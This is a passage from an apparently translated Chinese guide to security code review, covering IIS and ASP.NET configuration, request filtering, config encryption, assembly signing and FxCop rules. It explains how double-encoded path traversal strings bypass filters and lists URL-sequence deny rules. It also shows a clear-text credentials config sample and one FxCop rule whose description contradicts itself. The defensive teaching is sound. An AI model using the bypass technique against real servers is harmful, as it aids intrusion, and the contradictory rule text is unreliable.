request.isUserInRole(“javaee6user”)+”<br>”); out.println(“getRemoteUser?..” + request.getRemoteUser()+”<br>”); out.println(“getUserPrincipal?..” + request.getUserPrincipal()+”<br>”); out.println(“getAuthType?..” + request.getAuthType()+”<br><br>”); request.logout(); out.println(“After Logout...”+”<br><br>”); out.println(“IsUserInRole?..” + request.isUserInRole(“javaee6user”)+”<br>”); out.println(“getRemoteUser?..” + request.getRemoteUser()+”<br>”); out.println(“getUserPrincipal?..” + request.getUserPrincipal()+”<br>”); out.println(“getAuthType?..” + request.getAuthType()+”<br>”); } finally { out.close(); } } ... } 更详细的信息可以在 Java EE 教程:使用网络应用程序的编程安全性中找到。 3.5.6 微软 IIS ASP.NET/IIS 应用程序使用一个名为 web.config 的可选的基于 XML 的配置文件来维 护应用程序配置设置。这涵盖了身份验证、授权、错误页面、HTTP 设置、调试设置、web 服务设置等问题。如果不了解这些文件,事务性分析将非常困难并且不准确。 在 IIS 7 中,有一个配置系统会影响层次结构级别以及一个文件如何从另一个文件继承。 下图显示了它如何工作以及每个文件的位置(Aguilar,2006 年) 图:IIS 配置文件 139 可以在 web 应用程序的虚拟目录根目录下提供一个 web.config 文件。如果文件不存 在,将使用 machine.config 中的默认配置设置。如果文件存在,则 web.config 将覆盖默 认设置。 <authentication mode=”Forms”> <forms name=”name” loginUrl=”url” protection=”Encryption” timeout=”30” path=”/” requireSSL=” true|” slidingExpiration=”false”> <credentials passwordFormat=”Clear”> <user name=”username” password=”password”/> </credentials> </forms> <passport redirectUrl=”internal”/> </authentication> 许多重要的安全设置不是在代码中设置的,而是在框架配置文件中设置的。在审计基于 框架的应用程序时,框架知识至关重要。web.config 文件中框架特定参数的一些例子如下 表所示。 参数 描述 authentication mode 默认的身份验证模式是 ASP.NET 基于表单的身份验证。 140 loginUrl 如果找不到有效的身份验证 cookie,则指定将请求重定向到 登录的 URL。 Protection 指定使用 3DES 或 DES 对 cookie 进行加密,但不对 cookie 执行 DV。 当心明文攻击。 timeout 以分钟计的 cookie 过期时间。 3.5.7 框架特定配置:微软 IIS 可以在 IIS 中使用 Web.config(应用程序级)或 ApplicationHost.config(服务器)配置安 全功能 级别),在<system.webServer><security >部分。可以配置的功能类型包括: ⚫ 允许的认证方法 ⚫ 授权规则 ⚫ 请求过滤器和限制 ⚫ SSL 的使用 ⚫ 源 IP 地址过滤 ⚫ 错误处理 代码审计中应该包含 Web.config 和 ApplicationHost.config 文件。应审计< 141 system.webServer> > <security>部分,以确保所有安全配置都符合预期。 有关保护 Microsoft IIS 整体配置的指导原则,请参见 IIS 支持基本、客户端证书、摘 要、IIS 客户端证书和 Windows 身份验证方法。它们在<system.webServer> <security> < authentication>部分进行配置。 下面示例中,对名为“我的站点”的站点禁用匿名身份验证,然后同时启用两者站点的 基本身份验证和 windows 身份验证。 <location path=”MySite”> <system.webServer> <security> <authentication> <anonymousAuthentication enabled=”false” /> <basicAuthentication enabled=”true” defaultLogonDomain=”MySite” /> <windowsAuthentication enabled=”true” /> </authentication> </security> </system.webServer> </location> IIS 授权配置允许指定用户对站点或服务器的访问权限,并在<system.webServer> <security> <authorization>部分进行配置。 142 下面示例中的配置删除了默认的允许所有用户访问网站或应用程序内容的 IIS 授权设置, 然后配置了只允许具有 Administrators 的用户访问网站的规则。 <configuration> <system.webServer> <security> <authorization> <remove users=”*” roles=”” verbs=”” /> <add accessType=”Allow” users=”” roles=”Administrators” /> </authorization> </security> </system.webServer> </configuration> IIS 支持对传入的 HTTP 请求进行过滤,包括强制限制。下表显示了许多可以设置的 IIS 安全参数。 参数 描述 denyUrlSequences 禁止的网址格式列表。 fileExtensions 允许或禁止的文件扩展名。 hiddenSegments 无法浏览的 URL。 requestLimits URL,内容,查询字符串和 HTTP 标头长度限制。 verbs 允许或禁止动词。 alwaysAllowedUrls 始终允许的网址。 143 alwaysAllowedQueryStrings 始终允许查询字符串。 denyQueryStringSequences 禁止查询字符串。 filteringRules 自定义过滤规则。 这些参数在<system.webServer><security><requestFiltering>部分配置。下面的 示例, 拒绝访问两个网址序列。第一个序列防止目录横向,第二个序列防止访问交替数据流。 将网址的最大长度设置为 2KB,将查询字符串的最大长度设置为 1KB。拒绝访问未列 出的文件扩展名和未列出的 HTTP 谓词。 <configuration> <system.webServer> <security> <requestFiltering> <denyUrlSequences> <add sequence=”..” /> <add sequence=”:” /> </denyUrlSequences> <fileExtensions allowUnlisted=”false” /> <requestLimits maxUrl=”2048” maxQueryString=”1024” /> <verbs allowUnlisted=”false” /> </requestFiltering> </security> </system.webServer> </configuration> 144 IIS 允许指定是否支持 SSL、是否需要 SSL、是否支持或需要客户端身份验证以及密码 强度。它是在<system.WebServer > <security> <access>部分配置的。下面示例要求到 MySite 的所有连接均需要 SSL。 <location path=”MySite”> <system.webServer> <security> <access sslFlags=”ssl”> </security> </system.webServer> </location> IIS 允许对源 IP 地址或 DNS 名称进行限制。它在 <system.webServer><security><ipSecurity> 部分进行配置,如下示例所示,其中示例 配置拒绝访问 IP 地址 192.168.100.1 和整个 169.254.0.0 网络: <location path=”Default Web Site”> <system.webServer> <security> <ipSecurity> <add ipAddress=”192.168.100.1” /> <add ipAddress=”169.254.0.0” subnetMask=”255.255.0.0” /> </ipSecurity> </security> </system.webServer> </location> 有关 IIS 安全配置的详细信息,请参见 IIS 安全配置。特定的安全功能配置信息可以在 身份验证、授权、SSL、源 IP、请求过滤和自定义请求过滤[12]中找到。 145 3.5.8 编程配置:微软 IIS Microsoft IIS 安全配置也可以通过各种语言以编程方式进行设置: ⚫ appcmd.exe 配置 ⚫ C# ⚫ Visual Basic ⚫ JavaScript 例如,对一个名为“我的站点”的站点禁用匿名身份验证,然后对该站点启用基本身份 验证和 windows 身份验证(如通过上面部分的配置所做的那样)是可以这样实现的: appcmd.exe set config “MySite” -section:system.webServer/security/authentication /anonymousAuthentication /enabled:”False” /commit:apphost appcmd.exe set config “MySite” -section:system.webServer/security/authentication /basicAuthentication /enabled:”True” /commit:apphost appcmd.exe set config “MySite” -section:system.webServer/security/authentication /windowsAuthentication /enabled:”True” /commit:apphost 或者,相同的身份验证设置也可以像下面示例中那样以编程方式进行编码。 using System; using System.Text; using Microsoft.Web.Administration; internal static class Sample { private static void Main() { using(ServerManager serverManager = new ServerManager()) { Configuration config = serverManager.GetApplicationHostConfiguration(); ConfigurationSection anonymousAuthenticationSection = config.GetSection(“system.webServer/security/authentication/anonymousAuthentication”, “MySite”); 146 anonymousAuthenticationSection[“enabled”] = false; ConfigurationSection basicAuthenticationSection = config.GetSection(“system.webServer/security/authentication/basicAuthentication”, “MySite”); basicAuthenticationSection[“enabled”] = true; ConfigurationSection windowsAuthenticationSection = config.GetSection(“system.webServer/security/authentication/windowsAuthentication”, “MySite”); windowsAuthenticationSection[“enabled”] = true; serverManager.CommitChanges(); } } } 查看源代码时,应特别注意安全部分的配置。 3.5.9 IIS 配置过滤请求和网址重写 请求过滤是在 IIS7 中引入的,它已经取代了 IIS 6.0 的 UrlScan 加载项功能。这种内置 的安全功能允许过滤不需要的网址请求,但也可以配置不同类型的过滤。首先,理解当请求 完成时,IIS 管道如何工作是很重要的。下图显示了这些模块的顺序: 图: IIS 请求过滤文件 147 可以通过 IIS 界面或在 web.config 文件中设置请求筛选。示例: <configuration> <system.webServer> <security> <requestFiltering> <denyUrlSequences> HTTP HTTP 请求开始 请求认证 请求授权 匹配缓存 请求结束 请求过滤(高优先级) URL 重写(中优先级) 148 <add sequence=”..” /> <add sequence=”:” /> </denyUrlSequences> <fileExtensions allowUnlisted=”false” /> <requestLimits maxUrl=”2048” maxQueryString=”1024” /> <verbs allowUnlisted=”false” /> </requestFiltering> </security> </system.webServer> </configuration> 这也可以通过应用程序代码来完成,例如:(Yakushev,2008) using System; using System.Text; using Microsoft.Web.Administration; internal static class Sample { private static void Main() { using (ServerManager serverManager = new ServerManager()) { Configuration config = serverManager.GetWebConfiguration(“Default Web Site”); ConfigurationSection requestFilteringSection = config.GetSection(“system.webServer/security /requestFiltering”); ConfigurationElementCollection denyUrlSequencesCollection = requestFilteringSection.GetCollection(“denyUrlSequences”); ConfigurationElement addElement = denyUrlSequencesCollection.CreateElement(“add”); addElement[“sequence”] = @”..”; 149 denyUrlSequencesCollection.Add(addElement); ConfigurationElement addElement1 = denyUrlSequencesCollection.CreateElement(“add”); addElement1[“sequence”] = @”:”; denyUrlSequencesCollection.Add(addElement1); ConfigurationElement addElement2 = denyUrlSequencesCollection.CreateElement(“add”); addElement2[“sequence”] = @”\”; denyUrlSequencesCollection.Add(addElement2); serverManager.CommitChanges(); } } } 过滤双重编码的请求 这种攻击技术包括以十六进制格式对用户请求参数进行两次编码,以绕过安全控制或导 致应用程序的意外行为。因为网络服务器接受并处理许多编码形式的客户请求导致了这种攻 击的出现。 通过使用双重编码,可以绕过只解码用户输入一次的安全过滤器。第二个解码过程由后 端平台或适当处理编码数据的模块执行,但没有相应的安全审计。 攻击者可以在路径名或查询字符串中注入双重编码,以绕过 web 应用程序使用的身份 验证模式和安全筛选器。 网络应用程序攻击中使用了一些常见的字符。例如,路径遍历使用.. /(点-点-斜线),而 XSS 攻击使用“<”和“>”字符。这些字符给出了不同于正常数据的十六进制表示。 比如,”.. /(点-点-斜线)字符以十六进制表示%2E%2E%2f。当% symbol 被再次编码, 150 其 十 六 进 制 代 码 表 示 为 %25 。 双 重 编 码 过 程 的 结 果 ” .. /( 点 - 点 - 斜 线 ) 将 是%252E%252E%252F: ⚫ “.. /"的十六进制编码是“%2E%2E%2f” ⚫ “%”的十六进制编码是“%25” ⚫ 所以“.. /"的双重编码是" %252E%252E%252F " 如果您不希望 IIS 允许双重编码的请求得到服务,请使用以下方法(IIS 团队,2007): <configuration> <system.webServer> <security> <requestFiltering allowDoubleEscaping=”false”> </requestFiltering> </security> </system.webServer> </configuration> 过滤高位字符 这允许或拒绝对包含非 ASCII 字符的 IIS 的所有请求。出现这种情况时,会向用户显示 错误代码 404.12.。等效的 UrlScan (IIS6 加载项)配置项是 AllowHighBitCharacters。 <configuration> <system.webServer> <security> <requestFiltering allowHighBitCharacters=”true”> </requestFiltering> </security> 151 </system.webServer> </configuration> 基于文件扩展名的过滤器 使用此过滤器,您可以允许 IIS 基于文件扩展名请求,由此产生的错误代码是 404.7。 “下限扩展”和“上限扩展”选项是等效的。 <configuration> <system.webServer> <security> <requestFiltering> <fileExtensions allowUnlisted=”true” > <add fileExtension=”.asp” allowed=”false”/> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration> 基于请求限制的过滤 当 IIS 基于请求限制拒绝请求时,记录的错误代码为: ⚫ 404.13-内容太长。 ⚫ 404.14-网址太大。 ⚫ 404.15-查询字符串太长。 152 这可用于限制发送给应用程序的查询字符串过长或内容过多,而您无法通过更改源代码 来解决该问题。 <configuration> <system.webServer> <security> <requestFiltering> <requestLimits maxAllowedContentLength=”30000000” maxUrl=”260” maxQueryString=”25” /> </requestFiltering> </security> </system.webServer> </configuration> 按动词筛选 当 IIS 拒绝基于此功能的请求时,记录的错误代码是 404.6。这对应于 UrlScan 中的使 用 UseAllowVerbs, AllowVerbs, 和 DenyVerbs 选项。 如果您希望应用程序只使用特定类型的动词,那么首先需要将 allowUnlisted 设置为 “false”,然后设置您希望允许的动词(参见示例) <configuration> <system.webServer> <security> <requestFiltering> <verbs allowUnlisted=”false”> <add verb=”GET” allowed=”true” /> </verbs> </requestFiltering> 153 </security> </system.webServer> </configuration> 基于网址序列的过滤 此功能定义了一个序列列表,当请求中包含列表元素时,IIS 可以拒绝它。当 IIS 拒绝 此功能的请求时,记录的错误代码是 404.5。这对应于 UrlScan 中的 DenyUrlSequences 功能。这是一个非常强大的特性。这避免了给定的字符序列被 IIS 处理: <configuration> <system.webServer> <security> <requestFiltering> <denyUrlSequences> <add sequence=”..”/> </denyUrlSequences> </requestFiltering> </security> </system.webServer> </configuration> 过滤掉隐藏的线段 如果您希望 IIS 提供二进制目录中的内容,而不是二进制目录,您可以应用此配置。 <configuration> 154 <system.webServer> <security> <requestFiltering> <hiddenSegments> <add segment=”BIN”/> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> 密码保护和敏感信息 web.config 文件可能在连接字符串中包含敏感信息,如数据库密码、邮件服务器用户 名等。 需要加密的部分有: ⚫ <appSettings>本标签包含自定义应用程序设置。 ⚫ <connectionStrings>此部分包含连接字符串。 ⚫ <identity>此部分可以包含模拟凭据。 ⚫ <sessionState>本标签包含进程外会话状态提供程序的连接字符串。 <connectionstring>此部分中包含的密码和用户名应该加密。ASP.NET 允许您使用 aspnet _ regiis 功能对这些信息进行加密。该实用程序位于已安装的.NET 框架下 的%windows%\Microsoft.. NET\Framework\v2.0.50727 文件夹中。 155 您可以使用以下命令指定需要加密的部分: aspnet_regiis -pef sectiontobeencryoted 加密网站中的 Web.config 文件 尽管加密部分是可能的,但并非所有部分都可以加密,特别是在运行用户代码之前要读 取的内容。以下部分无法加密: • <processModel> • <runtime> • <mscorlib> • <startup> • <system.runtime.remoting> • <configProtectedData> • <satelliteassemblies> • <cryptographySettings> • <cryptoNameMapping> • <cryptoClasses> 机器级 RSA 密钥容器或用户级密钥容器 当文件被移动到其他服务器时,使用机器级 RSA 密钥加密单个文件有其缺点。在这种 情况下,强烈建议使用用户级的 RSA 密钥容器。RSAprotectedconfigurationprovider 支 持用于密钥存储的机器级和用户级密钥容器。 156 RSA 机器密钥容器存储在以下文件夹中: \Documents and Settings\All Users\Application Data\Microsoft\Crypto\RSA\MachineKeys 用户密钥容器 当需要保护的应用程序位于共享宿主环境中,并且敏感数据的保护不能被其他应用程序 访问时,强烈建议使用用户密钥容器。 在这种情况下,每个应用程序都应该有一个单独的标识。RSA 用户级密钥容器存储在 以下文件夹中: \Documents and Settings\{UserName}\Application Data\Microsoft\Crypto\RSA IIS 配置 根据配置的 IIS 版本,必须要修改它的一些设置,这些设置可以增强服务器的安全性。 信任级别 信任级别是授予宿主环境中应用程序的一组代码访问安全权限。这些是使用策略文件定 义的。根据必须配置的信任级别,可以授予完全、高、中、低或最低级别。ASP.NET 主机 157 不会对以完全信任级别运行的应用程序应用任何附加策略。 示例: <system.web> <securityPolicy> <trustLevel name=”Full” policyFile=”internal”/> </securityPolicy> </system.web> 锁定信任级别 在.NET framework 中, web.config 文件可以锁定应用程序,防止其更改信任级别。 该文件位于: C:\Windows\Microsoft.NET\Framework\{version}\CONFIG 以下示例显示了如何锁定两个不同的应用程序配置信任级别(MSDN,2013) 示例: <configuration> <location path=”application1” allowOverride=”false”> <system.web> <trust level=”High” /> </system.web> </location> <location path=”application2” allowOverride=”false”> <system.web> <trust level=”Medium” /> </system.web> 158 </location> </configuration> 参考 ⚫ Yakushev Ruslan,2008 年“IIS 7.0 请求过滤和网址重写”,见 http://www.iis.net/learn/ ⚫ extensions/url-rewrite-module/iis-request-filtering-and-url-rewriting (最后一 次访问是在 2013 年 7 月 14 日) ⚫ OWASP,2009“双重编码”在 https://www.owasp.org/index.php/Double_Encoding(最后一次更改是在 2013 年 7 月 14 日 ⚫ IIS 团队,2007 年“使用请求过滤”,可在 http://www.iis.net/learn/manage/configuring-security/use-request-filtering (最 后一次访问是在 2013 年 7 月 14 日) ⚫ 阿吉拉尔·卡洛斯(Aguilar Carlos),2006 年“IIS 7 中的新配置系统”,可查阅 http://blogs.msdn.com/b/carlosag/archive/2006/04/25/iis7configurationsyste m.aspx (最后一次访问是在 2013 年 7 月 14 日) ⚫ 2013 年,MSDN,如何:锁定 http://msdn.microsoft.com/en-us/library/ms178693.aspx 159 3.5.10 应用程序签名 在构建过程中,质量保证或开发人员会将代码发布为可执行格式。通常这由一个 exe 或和一个或几个 DLL 组成。在构建/发布过程中,需要决定是否签署代码。 在你的代码上签名被微软称为创建“强名称”。如果您使用 Visual Studio 创建一个项 目并使用微软的“运行代码分析”,如果代码没有强命名,您很可能会遇到微软的设计错误: “Warning 1 CA2210 : Microsoft.Design : Sign ‘xxx.exe’ with a strong name key.”。 代码审计需要知道是否使用了强命名,强命名有什么好处?可以预防什么类型的攻击? 理解这两个问题有助于解释为什么要用强命名。 强名称是一种使用程序集的文本名称、版本号、区域性信息、公钥和数字签名对程序集 标识进行签名的方法。(索利斯,2012 年) ⚫ 强命名保证了该程序集的唯一名称。 ⚫ 强名称保护程序集的版本沿袭。强名称可以确保没有人能够生成程序集的后续版本。用 户可以确定他们正在加载的程序集的版本来自创建应用程序所用版本的同一发布者。 如果您要使用全局程序集缓存(GAC),以上两点非常重要。 强名称提供强大的完整性审计并防止欺骗。通过.NET Framework 安全审计保证程序集 的内容在生成后没有被更改。 但是,请注意,强名称本身并不意味着类似于数字签名和支持证书所提供的信任级别。 如果您使用 GAC 程序集,请记住每次加载程序集时都不会验证程序集,因为 GAC 按设计 160 是一个锁定的、仅供管理员使用的存储。 强名称无法阻止的是恶意用户完全剥离强名称签名、修改程序集或使用恶意用户的密钥 对其进行重新签名。 代码审计人员需要了解如何保护和管理强名私钥。如果你认为强有力的名字签名非常适 合你的组织,保护私钥就是严峻的考验。 如何使用强命名签名工具 为了创建强名称程序集,您需要遵循一组工具和步骤 使用 Visual Studio 为了使用 Visual Studio 创建强命名程序集,必须有一个公钥/私钥对。也可以在 Visual Studio 中创建该密钥对。 在 Visual Studio 2005 中,C#、Visual Basic 和 Visual J#集成开发环境(IDEs)允许您 生成密钥对和签名程序集,而无需使用 Sn.exe(强名称工具)创建密钥对。 这些集成开发环境在项目设计器中有一个签名选项卡。. 在 Visual Studio 2005 中, 使用 AssemblyKeyFileAttribute 来标识密钥文件的方法已经过时。 下图说明了编译器完成的过程 图: C#强命名 161 使用强名称工具 签名工具是一个命令行工具,用于对文件进行数字签名、验证文件中的签名或给文件加 上时间戳。微软视窗 NT、视窗 Me、视窗 98 或视窗 95 不支持签名工具。 如果您没有使用“Visual Studio 命令提示符”(开始> > Microsoft Visual Studio 2010 > > Visual Studio 工具> > Visual Studio 命令提示符(2010)),您可以在% program files % \ Microsoft SDks \ Windows \v7.0a\bin\sn.exe 找到 sn.exe。 以下命令创建一个新的随机密钥对,并将其存储在 keyPair.snk 中。 sn -k keyPair.snk 以下命令将 keyPair.snk 中的密钥存储在容器 MyContainer 的强名称 CSP 中。 sn -i keyPair.snk MyContainer 以下命令从 keyPair.snk 中提取公钥,并将其存储在 publicKey.snk 中。 162 sn -p keyPair.snk publicKey.snk 以下命令显示公钥和包含在 publicKey.snk 中的公钥标记。 sn -tp publicKey.snk 以下命令验证组件 MyAsm.dll。 sn-v MyAsm.dll 以下命令从默认 CSP 中删除 MyContainer。 sn -d MyContainer 使用程序集链接器 该工具是用 Visual Studio 和 Windows SDK 自动安装的。要运行该工具,我们建议您 使用 Visual Studio 命令提示符或 Windows SDK 命令提示符(CMD 外壳)。这些实用程序 使您能够轻松运行该工具,而无需导航到安装文件夹。有关更多信息,请参见 Visual Studio 和 Windows SDK 命令提示。 如果您的计算机上安装了 Visual Studio: 在任务栏上,单击开始,单击所有程序,单击 Visual Studio,单击 Visual Studio 工 具,然后单击 Visual Studio 命令提示符。 -或者- 如果您的计算机上安装了 Windows SDK: 在任务栏上,单击开始,单击所有程序,单击 Windows SDK 文件夹,然后单击命令 163 提示符(或 CMD 外壳)。 在命令提示符下,键入以下内容:所有源选项 注意: 所有 Visual Studio 编译器都会生成程序集。但是,如果您有一个或多个模块(没有清单 的元数据),您可以使用 Al.exe 在单独的文件中创建带有清单的程序集。 若要在缓存中安装程序集、从缓存中移除程序集或列出缓存的内容,请使用全局程序集 缓存工具(Gacutil.exe)。 以下命令使用 t2.netmodule 模块中的程序集创建一个可执行文件 t2a.exe。入口点是 我的类中的 Main 方法。 al T2 . net module/target:exe/out:t2a . exe/main:MyCLaSS.main 使用程序集属性 您可以直接在代码中插入强名称信息。为此,根据密钥文件的位置,可以使用 AssemblyKeyFileAttribute 或 AssemblyKeyNameAttribute 使用编译器选项:使用/keyfile 或/delaysign 为了维护和保证组件的完整性,对开发人员来说保护密钥对是必要的。公钥应该是可访 问的,但对私钥的访问仅限于少数个人。开发具有强名称的程序集时,参考强名称目标程序 集的每个程序集都包含用于为目标程序集提供强名称的公钥标记。这要求公钥在开发过程中 可用。 164 您可以在构建时使用延迟签名或部分签名来为强名称签名在可移植可执行文件(PE)中 保留空间,但将实际签名推迟到稍后的某个阶段(通常是在发送程序集之前)。 您可以在 C#和 VB.NET(MSDN)中使用/keyfile 或/delaysign 参考 • http://msdn.microsoft.com/en-us/library/wd40t7ad(v=vs.80).aspx • http://msdn.microsoft.com/en-us/library/c405shex(v=vs.110).aspx • http://msdn.microsoft.com/en-us/library/k5b5tt23(v=vs.80).aspx • http://msdn.microsoft.com/en-us/library/t07a3dye(v=vs.80).aspx • http://msdn.microsoft.com/en-us/library/t07a3dye(v=vs.110).aspx 3.5.11 反编译 往返是一种逆向工程技术,允许攻击者从某个应用程序反编译程序集。Ildasm.exe 可 用于此目的,ILAsm 用于重新编译程序集。 MSIL 反汇编器(Ilasm.exe)是 MSIL 汇编器的配套工具。Ildasm.exe 获取了一个包含微 软中间语言(MSIL)代码的可移植可执行文件,并创建了一个适合作为 Ilasm.exe 输入的文本 文件。该工具是用 Visual Studio 和 Windows SDK 自动安装的。 混淆的重要性 如前所述,反编译是一种用于反向工程组件的技术。因此,如果您想避免您的程序集被 165 逆向工程,更有甚者,代码是使用 Ildasm 和 Ilasm 工具恶意操作的受害者,那么最好应用 它。有不同种类的产品可以用于这一目的,如 DeepSea, Crypto 或 Dotfuscator。 使用模糊处理 避免逆向工程和篡改程序集的最有效的技术是使用模糊处理。Visual Studio 包含 Dotfuscator 的一个版本。这个程序可以通过选择 VS 菜单上的工具来访问 Dotfuscator(社 区版菜单命令)。注意:此工具在 Express 版本中不可用。 若要混淆您的程序集: ⚫ 在 Visual Studio 中构建项目 ⚫ 工具->Dotfuscator 版社区版 ⚫ 屏幕提示询问项目类型,选择“创建新项目”,然后单击“确定” ⚫ 在 Dotfuscator 界面的“输入”选项卡上,单击“浏览并将程序集添加到列表” 浏览已编译的应用程序 ASPNetConfigs 简介 保护 ASP.NET 应用程序中的资源是 Web.config 文件中配置设置的组合,但是记住 IIS 配置在这方面也起着很大的作用,这一点很重要。这是一种集成的方法,提供了一个整体的 166 安全框架。 下面重点介绍了 web.config 文件中 ASP.NET 配置设置的最重要方面。有关总体概述, 请参见 ASP.NET 安全 (https://www.owasp.org/index.php/CRV2_FrameworkSpecIssuesASPNet)一章 安全配置值 保存在配置文件中的敏感信息应该加密。存储在 machineKey 元素中的加密密钥,例 如,带有用户名和密码的连接字符串,用于登录数据库。 锁定 ASP.NET 配置设置 您可以通过向位置元素添加一个 allowOverride 属性来锁定 ASP.NET 配置文件中的配 置设置 使用位置设置配置目录 通过<location>元素,您可以为特定的文件夹和文件建立设置。路径属性用于指定文 件或子目录。这是在 Web.config 文件示例中完成的: 示例: <location path=”.” > <section1 .../> <section2 ... /> 167 </location> <location path=”Default Web Site” > <section1 … /> <section2 … /> </location> <location path=”Default Web Site/MyApplication/Admin/xyz.html” > <section1 ... /> <section2 ... /> </location> 为错误代码处理配置异常 当用户发送错误请求或无效参数时,显示正确的错误代码是一个重要的配置。在分析对 应用程序的潜在攻击时,记录这些错误也是很好的帮助。 可以在代码或 web.config 中配置这些错误。 HttpException 方法描述了在处理 HTTP 请求期间发生的异常。 例如: if (string.IsNullOrEmpty(Request[“id”])) throw new HttpException(400, “Bad request”); 或者在网络配置文件中: <configuration> <system.web> 168 <customErrors mode=”On” defaultRedirect=”ErrorPage.html” redirectMode=”ResponseRewrite”> <error statusCode=”400” redirect=”BadRequest.html” /> <error statusCode=”404” redirect=”FileNotFound.html” /> </customErrors> </system.web> </configuration> 输入验证 来自外部来源的任何东西都可以被认为是 web 应用程序中的输入。不仅是指用户通过 web 表单插入数据,而且从 web 服务或数据库中检索的数据,从浏览器发送的标题也属于 这一概念。定义确保输入安全的一种方法可以通过勾画信任边界来实现。 定义所谓的信任边界可以帮助我们可视化所有可能的不可信输入。其中之一是用户 input.ASP.NET 有不同类型的验证,这取决于要应用的控制级别。默认情况下,网页代码针 对恶意用户进行验证。以下是使用的验证类型列表(MSDN,2013 年): 图: IIS 输入验证 验证类型 使用的字段 描述 请求实体 RequiredFieldValidator 确保用户不绕过输入。 对比值 CompareValidator 将用户输入的内容与常量值,另一个控件的 值(使用比较运算符,例如小于,等于或大于) 进行比较,或针对特定数据类型进行比较。 169 范围审计 RangeValidator 审计用户的输入内容是否在指定的上下边界 之间。 您可以审计数字,字母和日期对中的范围。 模式匹配 RegularExpressionValidator 审计条目是否与正则表达式定义的模式匹 配。 通过这种类型的验证,您可以审计可预测的 字符序列,例如电子邮件地址,电话号码,邮政 编码等中的字符。 用户自定 义 CustomValidator 使用您自己编写的验证逻辑审计用户的输 入。 通过这种类型的验证,您可以审计在运行时 派生的值。 参考 MSDN,2013 年“保护 ASP.NET 配置”,见 http://msdn.microsoft.com/en-us/library/ms178699%28v=vs.100%29.aspx (最后一 次查看,2013 年 7 月 25 日) 3.5.12 .NET 身份验证控件 在.NET,配置文件中有身份验证标记。<authentication>元素配置应用程序使用的身 份验证模式。适当的身份验证模式取决于您的应用程序或 Web 服务的设计方式。默认的机 器配置设置应用如下所示的安全双向身份验证默认值: 170 authentication Attributes:mode=”[Windows|Forms|Passport|None]” <authentication mode=”Windows” /> 表单认证指南 要使用表单身份验证,请在<authentication>元素上设置 mode=“表单”。接下来, 使用子<forms>元素配置窗体身份验证。以下片段显示了安全<forms>身份验证元素 配置: 示例: <authentication mode=”Forms”> <forms loginUrl=”Restricted\login.aspx” Login page in an SSL protected folder protection=”All” Privacy and integrity requireSSL=”true” Prevents cookie being sent over http timeout=”10” Limited session lifetime name=”AppNameCookie” Unique per-application name path=”/FormsAuth” and path slidingExpiration=”true” > Sliding session lifetime </forms> </authentication> 使用以下建议来提高表单身份验证安全性: ⚫ 对您的网站进行分区。 ⚫ 设置 protection=“all”。 171 ⚫ 使用小的 cookie 超时值。 ⚫ 考虑使用固定的有效期。 ⚫ 将 SSL 与表单身份验证结合使用。 ⚫ 如果不使用 SSL,请将 slidingExpiration 设置为“假”。 ⚫ 请勿在生产服务器上使用<credentials>元素。 ⚫ 配置<machineKey>元素。 ⚫ 使用唯一的 cookie 名称和路径。 经典 ASP 对于传统的 ASP 页面,身份验证通常是在对照数据库进行验证后,通过将用户信息包 含在变量中来手动执行的,因此您可以查找如下内容: Session (“UserId”) = UserName Session (“Roles”) = UserRoles 代码审计.NET 管理代码 .NET 托管代码不太容易受到非托管代码中常见漏洞的攻击,例如缓冲区溢出和内存损 坏,但是代码中可能存在影响性能和安全性的问题。下面是在代码审计期间要寻找的推荐实 践的总结。此外,值得一提的是,一些工具可以使这部分的工作变得更容易,它们可以帮助 您理解并指出代码中的缺陷。 172 代码访问安全性 这支持半信任代码的执行,防止几种形式的安全威胁。以下是由于代码访问安全性使用 不当而导致的可能漏洞说明: 表:代码访问安全漏洞 漏洞 说明 链接要求或断言使用不 当 该代码容易受到引诱攻击。 代码允许不受信任的调 用者 恶意代码可以使用该代码来执行敏感操作和访问资 源。 声明的安全 尽可能使用声明式安全性而不是命令式安全性。声明性语法示例(MSDN[2],2013): 示例: [MyPermission(SecurityAction.Demand, Unrestricted = true)] public class MyClass { public MyClass() { //The constructor is protected by the security call. } 173 public void MyMethod() { //This method is protected by the security call. } public void YourMethod() { //This method is protected by the security call. } } 非托管代码 尽管 C#是一种强类型语言,但使用非托管代码也可以调用“不安全”的代码。"审计任 何使用非托管资源的类,如跨方法调用的数据库连接,实现 IDisposable 接口。如果对象的 语义使得 Close 方法比 Dispose 方法更符合逻辑,请在 Dispose 之外提供 Close 方法”。 异常处理 出于安全目的和其他原因,管理代码应该使用异常处理。确保遵循以下建议: ⚫ 避免循环中的异常处理,必要时使用 try/catch 块。 ⚫ 识别包含异常的代码。 ⚫ 对意外情况使用异常处理,而不仅仅是控制应用程序中的流程。 工具 174 FxCop FxCop 是一个分析二进制程序集的分析工具,而不是源代码。该工具具有一组预定义 的 规则,并且可以配置和扩展它们。关于安全性的一些可用规则是(CodePlex,2010): 表: FxCop Flags 规则 描述 EnableEventValidationShouldBeTru e 验 证 是 否 在 特 定 页 面 上 禁 用 了 EnableEventValidation 指令。 ValidateRequestShouldBeEnabled 验证是否在特定页面上禁用了 ValidateRequest 指 令。 ViewStateEncryptionModeShouldB eAlways 验 证 是 否 在 特 定 页 面 上 未 将 ViewStateEncryptionMode 指令设置为 Never。 EnableViewStateMacShouldBeTrue 验证在特定页面上 EnableViewStateMac 指令是否 未设置为 false。 EnableViewStateShouldBeTrue 验证特定页面上的 EnableViewState 指令是否未设 置为 false。 ViewStateUserKeyShouldBeUsed 验 证 是 否 在 应 用 程 序 中 使 用 Page.ViewStateUserKey 来防止 CSRF。 175 DebugCompilationMustBeDisable d 验证调试编译已关闭。 这消除了与启用调试代码以及 返回其他大量错误消息有关的潜在性能和安全性问题。 CustomErrorPageShouldBeSpecifie d 验证 CustomErrors 部分是否配置为具有默认 URL,以便在发生错误时重定向使用。 FormAuthenticationShouldNotCon tainFormAuthenticationCredentials 验证在表单身份验证配置下是否未指定凭据。 EnableCrossAppRedirectsShouldB eTrue 验 证 system.web.authentication.forms enableCrossAppRedirects 是否设置为 true。设置指示 在身份验证过程之后是否应将用户重定向到另一个应用程 序 URL。如果设置为 false,则身份验证过程将不允许重 定向到另一个应用程序或主机。这有助于防止攻击者在身 份验证过程中强迫用户重定向到另一个站点。这种攻击通 常称为开放重定向,主要用于网络钓鱼攻击。 FormAuthenticationProtectionSho uldBeAll 验证system.web.authentication.forms保护上的保 护属性是否设置为 All,以指定应用程序同时使用数据验证 和加密来帮助保护身份验证 cookie。 FormAuthenticationRequireSSLSh 